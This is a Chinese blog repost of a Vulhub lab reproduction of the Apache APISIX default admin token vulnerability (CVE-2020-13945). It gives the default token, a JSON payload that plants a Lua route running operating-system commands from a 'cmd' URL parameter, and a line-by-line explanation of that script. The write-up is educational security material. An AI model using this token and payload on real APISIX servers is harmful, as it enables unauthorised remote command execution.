栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

Vulhub——Apache APISIX 默认密钥漏洞(CVE-2020-13945)

文章目录
  • Vulhub——Apache APISIX 默认密钥漏洞(CVE-2020-13945)
    • APISIX简介
    • 漏洞复现
    • payload分析

APISIX简介

官方一句话介绍:Apache APISIX是一个高性能API网关。

API网关又是什么?

百度:API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。

任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。

如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。

存在漏洞:

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。

漏洞复现

docker-compose up -d 搭建环境

docker ps 查看端口为9080
访问 127.0.0.1/asixpix/admin/routes,显示token不正确
抓这个包,把方法改为POST,加上X-API-KEY: edd1c9f034335f136f87ad84b625c8f1,加上payload

{
    "uri": "/attack",
"script": "local _M = {} n function _M.access(conf, ctx) n local os = require('os')n local args = assert(ngx.req.get_uri_args()) n local f = assert(io.popen(args.cmd, 'r'))n local s = assert(f:read('*a'))n ngx.say(s)n f:close()  n end nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

http://127.0.0.1:9080/attack?cmd=id

payload分析

查看官方文档,观察创建路由的方法

https://apisix.apache.org/zh/docs/apisix/getting-started/

与payload对比,发现payload格式与官方创建路由一致,只是利用script插入了一段lua恶意脚本。

在 Apache APISIX 中,我们在 Route 实体中新增了 script 执行逻辑,可用于接收 Dashboard 生成的 Lua 函数并执行,它支持调用已有插件以复用代码。另外,它也作用于 HTTP 请求的生命周期中的各个阶段,如 access、header_filer、body_filter 等,系统会在相应阶段自动执行 script 函数对应阶段代码
接下来对lua脚本进行分析,n是换行

local _M = {} n function _M.access(conf, ctx)//在access阶段进行处理,检查如果达到的不健康次数超过了配置的最大次数,则就被break掉。这里没找到看得懂的资料。
local os = require('os')//加载os模块,用于进行文件操作
local args = assert(ngx.req.get_uri_args()) //assert()是断言,类似于try(),这里是获取uri中给的参数。
local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式
local s = assert(f:read('*a'))//读取全部内容
ngx.say(s)//输出,还有一种方法是ngx.print(),但两者有区别
f:close()
end 
return _M

function _M.access(conf, ctx)

assert()
*read('a’)

https://blog.csdn.net/u013625451/article/details/78879739

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/830860.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号